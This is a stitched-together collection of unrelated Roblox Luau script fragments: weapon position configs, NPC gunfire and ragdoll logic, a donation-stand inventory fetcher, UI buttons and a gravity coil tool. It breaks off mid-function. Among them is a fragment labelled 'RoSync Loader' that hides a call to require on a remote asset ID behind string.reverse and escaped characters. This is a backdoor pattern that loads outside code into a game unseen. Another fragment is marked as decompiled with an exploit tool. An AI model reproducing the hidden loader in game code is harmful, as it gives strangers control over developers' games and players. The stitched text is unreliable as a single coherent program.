,LeftArmPos = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(0.85, 0.5,-2.2) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --Client
}
return Config
|
--local Velocity = HumanoidRootPart.Velocity
|
Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp, not Down.Value)
if Down.Value == true then
Humanoid:ChangeState(Enum.HumanoidStateType.Physics, Down.Value)
elseif Down.Value == false then
Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp, true)
end
|
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.5, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(90),-0.1,-0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
-- main functions
|
module.getItems = function(assetId,plrId)
local allItems = {}
local success, errormsg = pcall(function()
local done = false
local nextPageCursor
while done == false do
local data
if nextPageCursor then
data = http:GetAsync("https://www.roproxy.com/users/inventory/list-json?assetTypeId="..tostring(assetId).."&cursor="..nextPageCursor.."&itemsPerPage=100&userId="..tostring(plrId))
else
data = http:GetAsync("https://www.roproxy.com/users/inventory/list-json?assetTypeId="..tostring(assetId).."&cursor=&itemsPerPage=100&userId="..tostring(plrId))
end
if data then
data = http:JSONDecode(data)
local items = data["Data"]["Items"]
for _, item in pairs(items) do
table.insert(allItems,item)
end
if data["Data"]["nextPageCursor"] then
nextPageCursor = data["Data"]["nextPageCursor"]
--print(nextPageCursor)
else
done = true
end
else
warn("No data.")
end
end
end)
if success then
print("Successfully retrieved data.")
else
warn(errormsg)
end
--print(tostring(#allItems).." items found.")
--print("Finding items created by user...")
local createdByUser = {}
--print(allItems)
for i, item in pairs(allItems) do
pcall(function()
if (item["Creator"]["Id"] == plrId) and (item["Product"]["IsForSale"] == true) then
table.insert(createdByUser,item)
end
end)
end
--print(tostring(#createdByUser).." items remain.")
--print(createdByUser)
for _, item in pairs(createdByUser) do
--print(item["Item"]["Name"],"-",item["Product"]["PriceInRobux"])
end
return createdByUser
end
module.loadItems = function(stand,plr)
for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do
if frame:IsA("Frame") then
frame:Destroy()
end
end
local tshirts = module.getItems(module.assetTypeIds["T-Shirt"],plr.UserId)
local passes = module.getItems(module.assetTypeIds["Pass"],plr.UserId)
local shirts = module.getItems(module.assetTypeIds["Shirt"],plr.UserId)
local pants = module.getItems(module.assetTypeIds["Pants"],plr.UserId)
print(#tshirts,"T-Shirts found.")
print(#shirts,"Shirts found.")
print(#pants,"Pants found.")
print(#passes,"Passes found.")
local allItems = {}
local tble = {tshirts,passes,shirts,pants}
for _, itemType in pairs(tble) do
for _, item in pairs(itemType) do
table.insert(allItems,item)
end
end
print("Total items found:",#allItems)
print("Sorting items by price ascending...")
table.sort(allItems, function(a, b)
return a["Product"]["PriceInRobux"] < b["Product"]["PriceInRobux"]
end)
for _, item in pairs(allItems) do
local frame = script.Template:Clone()
frame.ItemID.Value = item["Item"]["AssetId"]
frame.Cost.Value = item["Product"]["PriceInRobux"]
frame.ItemTypeId.Value = item["Item"]["AssetType"]
frame.RobuxCost.Text = "$"..tostring(item["Product"]["PriceInRobux"])
frame.Parent = stand.Products.Items.ScrollingFrame
end
end
module.clearStand = function(stand)
print("Clearing stand...")
stand.MessagePart.SurfaceGui.UserMessage.Text = "your text here"
stand.Base.ClaimPrompt.Enabled = true
stand.Base.ClaimedInfoDisplay.Enabled = false
stand.Base.Unclaimed.Enabled = true
stand.Claimed.Value = false
stand.ClaimedUserName.Value = ""
for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do
if frame:IsA("Frame") then
frame:Destroy()
end
end
end
module.updateStandsEarned = function()
for _, stand in pairs(game.Workspace.Stands:GetChildren()) do
if stand.Claimed.Value == true then
local plr = game.Players:FindFirstChild(stand.ClaimedUserName.Value)
if plr then
stand.Base.ClaimedInfoDisplay.UserRaised.Text = "R$"..tostring(plr.leaderstats.Recieved.Value).." Raised"
else
print("no player but claimed")
end
end
end
end
module.findItem = function(itemID)
for _, stand in pairs(game.Workspace.Stands:GetChildren()) do
for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do
if frame:IsA("Frame") then
if frame.ItemID.Value == itemID then
return frame
end
end
end
end
end
return module
|
--Working lightswitch.
|
function ToggleLight()
if script.Parent.Parent.Parent.LightState.Value == false then
script.Parent.Parent.Parent.LightState.Value = true
script.Parent.BrickColor = BrickColor.new("Sea green")
script.Parent.Parent.Parent.Lamp.Light.BrickColor = BrickColor.new("White")
script.Parent.Parent.Parent.Lamp.Light.SpotLight.Enabled = true
else
script.Parent.Parent.Parent.LightState.Value = false
script.Parent.BrickColor = BrickColor.new("Bright red")
script.Parent.Parent.Parent.Lamp.Light.BrickColor = BrickColor.new("Black")
script.Parent.Parent.Parent.Lamp.Light.SpotLight.Enabled = false
end
end
script.Parent.ClickDetector.MouseClick:connect(ToggleLight)
|
-- MODULES --
|
local bezierTween = require(Modules.BezierTweens)
local Waypoints = bezierTween.Waypoints
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 2 -- cooldown for use of the tool again
ZoneModelName = "Lightning" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[
Constructs a new state object which can listen for updates on another state
object.
FIXME: enabling strict types here causes free types to leak
]]
|
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local Types = require(Package.Types)
local initDependency = require(Package.Dependencies.initDependency)
type Set<T> = {[T]: any}
local class = {}
local CLASS_METATABLE = {__index = class}
|
--// All global vars will be wiped/replaced except script
|
return function(data)
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = service.New("ScreenGui")
local toggle = service.New("ImageButton", gui)
local gTable = client.UI.Register(gui)
if client.UI.Get("HelpButton", gui, true) then
gui:Destroy()
gTable:Destroy()
return nil
end
gTable.Name = "HelpButton"
gTable.CanKeepAlive = false
toggle.Name = "Toggle"
toggle.BackgroundTransparency = 1
toggle.Position = UDim2.new(1, -45, 1, -45)
toggle.Size = UDim2.new(0, 40, 0, 40)
toggle.Image = "http://www.roblox.com/asset/?id=7059706594"
toggle.ImageTransparency = 0
--if client.UI.Get("Chat") then
-- toggle.Position = UDim2.new(1, -(45+40),1, -45)
--end
toggle.MouseButton1Down:Connect(function()
local found = client.UI.Get("UserPanel",nil,true)
if found then
found.Object:Destroy()
else
client.UI.Make("UserPanel",{})
end
end)
gTable:Ready()
end
|
--[[ Last synced 12/13/2020 04:11 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
function Update()
local v2 = v1.StatService.Get();
if not v2 then
return;
end;
v1.Settings.VFXEnabled = v2.Settings.VFX == 1;
v1.Settings.SFXEnabled = v2.Settings.SFX == 1;
v1.Settings.MusicEnabled = v2.Settings.Music == 1;
end;
Update();
v1.Signal.Fired("Stat Changed"):Connect(function(p1)
if p1 == "Settings" then
Update();
end;
end);
|
--[[
Dispatch an action to the store. This allows the store's reducer to mutate
the state of the application by creating a new copy of the state.
Listeners on the changed event of the store are notified when the state
changes, but not necessarily on every Dispatch.
]]
|
function Store:dispatch(action)
if typeof(action) == "table" then
if action.type == nil then
error("action does not have a type field", 2)
end
self._state = self._reducer(self._state, action)
self._mutatedSinceFlush = true
else
error(("actions of type %q are not permitted"):format(typeof(action)), 2)
end
end
|
--[[
Specialized library for the plane's camera.
Note my inconsistency by using "." accessors
for methods instead of ":" accessors. Sorry.
CamLock.Update() [Should be called every RenderStep]
CamLock.Lock(planeModel)
CamLock.Unlock()
CamLock.SwitchView([reversed])
CamLock.SetMobileDeviceBank(bank)
CamLock.SetRotation(horizontalRadians, verticalRadians)
CamLock.DeltaRotation(deltaHorizontalRadians, deltaVerticalRadians)
CamLock.ResetRotation()
--]]
| |
-- Indicate readiness
|
Component.Ready = true;
return Component;
|
--
|
local sight = 120
local walking = false
local shooting = false
local canshoot = true
local cansay = true
local saycooldown = 0
local akweld = Instance.new("Weld", npc["AK-47"])
akweld.Part0 = rightarm
akweld.Part1 = npc["AK-47"]
function walkanim(walkspeed)
if walkspeed > 5 then
walking = true
else
walking = false
end
end
npchumanoid.Running:connect(walkanim)
function randomwalk()
while wait(math.random(3,6)) do
if not shooting and not walking then
npchumanoid.WalkSpeed = 16
local function createwalkpart()
local walkpart = Instance.new("Part", npc)
walkpart.Size = Vector3.new(1,1,1)
walkpart.Anchored = true
walkpart.Material = "Neon"
walkpart.Transparency = 1
walkpart.BrickColor = BrickColor.new("Maroon")
walkpart.CFrame = torso.CFrame * CFrame.new(math.random(-60,60),math.random(-30,30),math.random(-60,60))
local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position)
local waypoints = path:GetWaypoints()
if path.Status == Enum.PathStatus.Success then
for i,v in pairs(waypoints) do
local pospart = Instance.new("Part", npc)
pospart.Size = Vector3.new(1,1,1)
pospart.Anchored = true
pospart.Material = "Neon"
pospart.Transparency = 1
pospart.Position = v.Position
pospart.Name = "pospart"
pospart.CanCollide = false
end
for i,v in pairs(waypoints) do
npchumanoid:MoveTo(v.Position)
local allow = 0
while (torso.Position - v.Position).magnitude > 4 and allow < 35 do
allow = allow + 1
wait()
end
if v.Action == Enum.PathWaypointAction.Jump then
npchumanoid.Jump = true
end
end
for i,v in pairs(npc:GetChildren()) do
if v.Name == "pospart" then
v:destroy()
end
end
else
createwalkpart()
wait()
end
walkpart:destroy()
end
createwalkpart()
end
end
end
function checkandshoot()
while wait() do
saycooldown = saycooldown + 1
if saycooldown == 500 then
cansay = true
saycooldown = 0
end
for i,v in pairs(workspace:GetChildren()) do
if v.ClassName == "Model" and v.Name ~= "collazio" then
local victimhumanoid = v:findFirstChildOfClass("Humanoid")
local victimhead = v:findFirstChild("Head")
if victimhumanoid and victimhead and v.Name ~= npc.Name then
if (victimhead.Position - head.Position).magnitude < sight then
if victimhumanoid.Name == "Blackout" and cansay then
elseif not shooting and victimhumanoid.Health > 0 and canshoot then
shooting = true
walking = false
local doesshoot = 0
local hpnow = npchumanoid.Health
local walk = 0
npchumanoid.WalkSpeed = 0
while shooting and (victimhead.Position - head.Position).magnitude < sight and victimhumanoid.Health > 0 and canshoot do
doesshoot = doesshoot + 1
walk = walk + 1
if npchumanoid.PlatformStand == false then
npc.HumanoidRootPart.CFrame = CFrame.new(npc.HumanoidRootPart.Position,Vector3.new(victimhead.Position.x,npc.HumanoidRootPart.Position.y,victimhead.Position.z))
end
if walk == 100 and not walking then
local function createwalkpart()
local walkpart = Instance.new("Part", npc)
walkpart.Size = Vector3.new(1,1,1)
walkpart.Anchored = true
walkpart.Material = "Neon"
walkpart.Transparency = 1
walkpart.BrickColor = BrickColor.new("Maroon")
walkpart.CFrame = torso.CFrame * CFrame.new(-math.random(20,60),math.random(-40,40),math.random(-10,10))
local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position)
local waypoints = path:GetWaypoints()
if path.Status == Enum.PathStatus.Success then
shooting = false
canshoot = false
npchumanoid.WalkSpeed = 20
for i,v in pairs(waypoints) do
local pospart = Instance.new("Part", npc)
pospart.Size = Vector3.new(1,1,1)
pospart.Anchored = true
pospart.Material = "Neon"
pospart.Transparency = 1
pospart.Position = v.Position
pospart.Name = "pospart"
pospart.CanCollide = false
end
for i,v in pairs(waypoints) do
npchumanoid:MoveTo(v.Position)
local allow = 0
while (torso.Position - v.Position).magnitude > 4 and allow < 35 do
allow = allow + 1
wait()
end
if v.Action == Enum.PathWaypointAction.Jump then
npchumanoid.Jump = true
end
end
canshoot = true
npchumanoid.WalkSpeed = 16
for i,v in pairs(npc:GetChildren()) do
if v.Name == "pospart" then
v:destroy()
end
end
else
createwalkpart()
wait()
end
walkpart:destroy()
end
createwalkpart()
end
if doesshoot == 5 then
doesshoot = 0
npc["AK-47"].shoot:Play()
local bullet = Instance.new("Part", npc)
bullet.Size = Vector3.new(0.3,0.3,3.5)
bullet.Material = "Neon"
bullet.CFrame = npc["AK-47"].CFrame * CFrame.new(0,0,-4)
bullet.CanCollide = false
local velocity = Instance.new("BodyVelocity", bullet)
velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
bullet.CFrame = CFrame.new(bullet.Position, victimhead.Position)
velocity.Velocity = bullet.CFrame.lookVector * 500 + Vector3.new(math.random(-25,25),math.random(-25,25),0)
local pointlight = Instance.new("PointLight", npc["AK-47"])
game.Debris:AddItem(pointlight,0.1)
local function damage(part)
local damage = math.random(10,50)
if part.Parent.ClassName ~= "Accessory" and part.Parent.Parent.ClassName ~= "Accessory" and part.ClassName ~= "Accessory" and part.Parent.Name ~= npc.Name and part.CanCollide == true then
bullet:destroy()
local victimhumanoid = part.Parent:findFirstChildOfClass("Humanoid")
if victimhumanoid then
if victimhumanoid.Health > damage then
victimhumanoid:TakeDamage(damage)
else
victimhumanoid:TakeDamage(damage)
end
end
end
end
game.Debris:AddItem(bullet, 5)
bullet.Touched:connect(damage)
end
wait()
end
walking = false
shooting = false
end
end
end
end
end
end
end
function run()
while wait() do
local hpnow = npchumanoid.Health
wait()
if npchumanoid.Health < hpnow then
local dorun = math.random(1,1)
if dorun == 1 and not walking then
local function createwalkpart()
local walkpart = Instance.new("Part", npc)
walkpart.Size = Vector3.new(1,1,1)
walkpart.Anchored = true
walkpart.Material = "Neon"
walkpart.Transparency = 1
walkpart.BrickColor = BrickColor.new("Maroon")
walkpart.CFrame = torso.CFrame * CFrame.new(math.random(20,60),math.random(-20,20),math.random(-60,60))
local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position)
local waypoints = path:GetWaypoints()
if path.Status == Enum.PathStatus.Success then
shooting = false
canshoot = false
walking = true
npchumanoid.WalkSpeed = 20
for i,v in pairs(waypoints) do
local pospart = Instance.new("Part", npc)
pospart.Size = Vector3.new(1,1,1)
pospart.Anchored = true
pospart.Material = "Neon"
pospart.Transparency = 1
pospart.Position = v.Position
pospart.Name = "pospart"
pospart.CanCollide = false
end
for i,v in pairs(waypoints) do
npchumanoid:MoveTo(v.Position)
local allow = 0
while (torso.Position - v.Position).magnitude > 4 and allow < 35 do
allow = allow + 1
wait()
end
if v.Action == Enum.PathWaypointAction.Jump then
npchumanoid.Jump = true
end
end
shooting = false
canshoot = true
walking = false
npchumanoid.WalkSpeed = 16
for i,v in pairs(npc:GetChildren()) do
if v.Name == "pospart" then
v:destroy()
end
end
else
createwalkpart()
wait()
end
walkpart:destroy()
end
createwalkpart()
end
end
end
end
function death()
if head:findFirstChild("The Prodigy - Voodoo People (Pendulum Remix)") then
head["The Prodigy - Voodoo People (Pendulum Remix)"]:destroy()
end
if npc:findFirstChild("Health") then
npc.Health.Disabled = true
end
npchumanoid.Archivable = true
local zombiecorpse = npchumanoid.Parent:Clone()
npchumanoid.Parent:destroy()
zombiecorpse.Parent = workspace
game.Debris:AddItem(zombiecorpse, 15)
local Humanoid = zombiecorpse:findFirstChildOfClass("Humanoid")
local Torso = zombiecorpse.Torso
Humanoid.PlatformStand = true
Humanoid:SetStateEnabled("Dead", false)
for i,v in pairs(Humanoid.Parent.Torso:GetChildren()) do
if v.ClassName == 'Motor6D' or v.ClassName == 'Weld' then
v:destroy()
end
end
for i,v in pairs(zombiecorpse:GetChildren()) do
if v.ClassName == "Part" then
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "BodyPosition" or w.ClassName == "BodyVelocity" then
w:destroy()
end
end
end
end
local function makeconnections(limb, attachementone, attachmenttwo, twistlower, twistupper, upperangle)
local connection = Instance.new('BallSocketConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.TwistLimitsEnabled = true
connection.TwistLowerAngle = twistlower
connection.TwistUpperAngle = twistupper
connection.UpperAngle = 70
end
local function makehingeconnections(limb, attachementone, attachmenttwo, twistlower, twistupper, upperangle)
local connection = Instance.new('HingeConstraint', limb)
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.LimitsEnabled = true
connection.LowerAngle = twistlower
connection.UpperAngle = twistupper
end
Humanoid.Parent['Right Arm'].RightShoulderAttachment.Position = Vector3.new(0, 0.5, 0)
Torso.RightCollarAttachment.Position = Vector3.new(1.5, 0.5, 0)
Humanoid.Parent['Left Arm'].LeftShoulderAttachment.Position = Vector3.new(0, 0.5, 0)
Torso.LeftCollarAttachment.Position = Vector3.new(-1.5, 0.5, 0)
local RightLegAttachment = Instance.new("Attachment", Humanoid.Parent["Right Leg"])
RightLegAttachment.Position = Vector3.new(0, 1, 0)
local TorsoRightLegAttachment = Instance.new("Attachment", Torso)
TorsoRightLegAttachment.Position = Vector3.new(0.5, -1, 0)
--
local LeftLegAttachment = Instance.new("Attachment", Humanoid.Parent["Left Leg"])
LeftLegAttachment.Position = Vector3.new(0, 1, 0)
local TorsoLeftLegAttachment = Instance.new("Attachment", Torso)
TorsoLeftLegAttachment.Position = Vector3.new(-0.5, -1, 0)
--
if Humanoid.Parent:findFirstChild("Head") then
local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head)
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
makehingeconnections(Humanoid.Parent.Head, HeadAttachment, Torso.NeckAttachment, -20, 20, 70)
end
makeconnections(Humanoid.Parent['Right Arm'], Humanoid.Parent['Right Arm'].RightShoulderAttachment, Torso.RightCollarAttachment, -80, 80)
makeconnections(Humanoid.Parent['Left Arm'], Humanoid.Parent['Left Arm'].LeftShoulderAttachment, Torso.LeftCollarAttachment, -80, 80)
makeconnections(Humanoid.Parent['Right Leg'], RightLegAttachment, TorsoRightLegAttachment, -80, 80, 70)
makeconnections(Humanoid.Parent['Left Leg'], LeftLegAttachment, TorsoLeftLegAttachment, -80, 80, 70)
if Humanoid.Parent:findFirstChild("Right Arm") then
local limbcollider = Instance.new("Part", Humanoid.Parent["Right Arm"])
limbcollider.Size = Vector3.new(1,1.3,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = Humanoid.Parent["Right Arm"]
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0)
for i,v in pairs(zombiecorpse["Right Arm"]:GetChildren()) do
if v.ClassName == 'Motor6D' or v.ClassName == 'Weld' then
v:destroy()
end
end
end
--
if Humanoid.Parent:findFirstChild("Left Arm") then
local limbcollider = Instance.new("Part", Humanoid.Parent["Left Arm"])
limbcollider.Size = Vector3.new(1,1.3,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = Humanoid.Parent["Left Arm"]
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0)
end
--
if Humanoid.Parent:findFirstChild("Left Leg") then
local limbcollider = Instance.new("Part", Humanoid.Parent["Left Leg"])
limbcollider.Size = Vector3.new(1,1.3,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = Humanoid.Parent["Left Leg"]
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0)
end
--
if Humanoid.Parent:findFirstChild("Right Leg") then
local limbcollider = Instance.new("Part", Humanoid.Parent["Right Leg"])
limbcollider.Size = Vector3.new(1,1.3,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = Humanoid.Parent["Right Leg"]
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0)
end
local ragdoll = zombiecorpse
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll.HumanoidRootPart.CanCollide = false
ragdoll.HumanoidRootPart:destroy()
end
end
npchumanoid.Died:connect(death)
spawn(run)
spawn(checkandshoot)
spawn(randomwalk)
while wait() do --check animations and other things
if not walking and not shooting then
for i = 0.2,0.8 , 0.09 do
if not walking and not shooting then
akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.599619389, -1.99128425, 0, 0.996194661, 0.087155968, 0, -0.087155968, 0.996194661, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.599619389, -1.99128449, 0, 0.996194661, -0.087155968, 0, 0.087155968, 0.996194661, 0, 0, 0, 1),i)
root.C0 = root.C0:lerp(CFrame.new(0,0,0),i)
neck.C0 = neck.C0:lerp(CFrame.new(0,1.5,0),i)
wait()
end
end
end
if walking then --this is the walking animation
for i = 0.2,0.8 , 0.09 do
if walking then
akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.527039051, -1.78302765, 0.642787695, 0.999390841, 0.026734557, 0.0224329531, -0.0348994918, 0.765577614, 0.642395973, 0, -0.642787635, 0.766044438),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.522737741, -1.65984559, -0.766044617, 0.999390841, -0.0224329531, 0.0267345682, 0.0348994918, 0.642395794, -0.765577734, 0, 0.766044497, 0.642787457),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.996194661, 6.98491931e-09, -0.0871561021, 0.00759615982, 0.996194661, 0.0868242308, 0.0868244469, -0.087155886, 0.992403805),i)
neck.C0 = neck.C0:lerp(CFrame.new(2.38418579e-07, 1.49809694, 0.0435779095, 0.996194661, 6.38283382e-09, 0.0871560946, 0.00759615889, 0.996194601, -0.0868242308, -0.0868244469, 0.087155886, 0.992403746),i)
wait()
end
end
head.footstep:Play()
for i = 0.2,0.8 , 0.09 do
if walking then
akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.520322084, -1.59067655, -0.819151878, 0.999390841, 0.0200175196, -0.028587997, -0.0348994918, 0.573226929, -0.818652987, 0, 0.819151998, 0.57357645),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.528892756, -1.83610249, 0.573575974, 0.999390841, -0.0285879895, -0.020017527, 0.0348994955, 0.818652987, 0.57322675, -7.4505806e-09, -0.573576212, 0.819152057),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.996194661, -1.44354999e-08, 0.0871558934, -0.00759615237, 0.996194661, 0.0868244395, -0.0868242383, -0.0871560946, 0.992403805),i)
neck.C0 = neck.C0:lerp(CFrame.new(0, 1.49809742, 0.0435781479, 0.996194601, -1.27129169e-08, -0.0871559009, -0.0075961519, 0.996194661, -0.0868244097, 0.0868242458, 0.0871560723, 0.992403746),i)
wait()
end
end
head.footstep:Play()
end
if shooting then --this is the shooting animation
for i = 0.2,0.8 , 0.45 do
if shooting then
akweld.C0 = akweld.C0:lerp(CFrame.new(-0.109231472, -2.24730468, -0.300003052, 0.984807491, 1.94707184e-07, 0.173647866, -0.173648044, -2.68220873e-07, 0.984807491, 3.67846468e-07, -0.999999821, -8.00420992e-08),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.173648223, 0, -0.98480773, 0, 1, 0, 0.98480773, 0, 0.173648223),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.21384871, 0.500000477, -0.879925251, 0.342019856, 0.939692438, -1.49501886e-08, 1.94707184e-07, -2.68220873e-07, -0.999999821, -0.939692438, 0.342020035, -3.76157232e-07),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.59201181, 0.470158577, -0.794548988, 0.271118939, 0.181368172, 0.945304275, 0.902039766, -0.390578717, -0.18377316, 0.335885108, 0.902526498, -0.269494623),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.681244373, -2.07163191, 0, 0.98480773, 0.173648283, 0, -0.173648283, 0.98480767, 0, 0, -1.86264515e-09, 0.99999994),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.681244612, -2.07163191, -4.76837158e-07, 0.98480773, -0.173648283, 0, 0.173648283, 0.98480767, 0, 0, 1.86264515e-09, 0.99999994),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.0296957493, 1.49240398, -0.0815882683, 0.336824059, 0.059391167, 0.939692557, -0.173648164, 0.98480773, -7.4505806e-09, -0.925416589, -0.163175896, 0.342020094),i)
wait()
end
end
for i = 0.2,0.8 , 0.45 do
if shooting then
akweld.C0 = akweld.C0:lerp(CFrame.new(-0.109231472, -2.24730468, -0.300003052, 0.984807491, 1.94707184e-07, 0.173647866, -0.173648044, -2.68220873e-07, 0.984807491, 3.67846468e-07, -0.999999821, -8.00420992e-08),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.173648223, 0, -0.98480773, 0, 1, 0, 0.98480773, 0, 0.173648223),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.60777056, 0.499999523, -0.81046629, 0.342019439, 0.939691842, 1.55550936e-07, 4.10554577e-08, -3.93739697e-07, -0.999999464, -0.939691901, 0.342019975, -4.77612389e-07),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.10000956, 0.482372284, -0.926761627, 0.27112025, 0.263066441, 0.925899446, 0.902039289, -0.405109912, -0.149033815, 0.335885197, 0.875603914, -0.347129732),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.681244373, -2.07163191, 0, 0.98480773, 0.173648283, 0, -0.173648283, 0.98480767, 0, 0, -1.86264515e-09, 0.99999994),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.681244612, -2.07163191, -4.76837158e-07, 0.98480773, -0.173648283, 0, 0.173648283, 0.98480767, 0, 0, 1.86264515e-09, 0.99999994),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.121206045, 1.4753027, -0.0450725555, 0.336823881, 0.221664757, 0.915103495, -0.173648164, 0.969846308, -0.171010077, -0.925416648, -0.101305753, 0.365159094),i)
wait()
end
end
end
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Gravity = 196.20
JumpHeightPercentage = 0.25
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
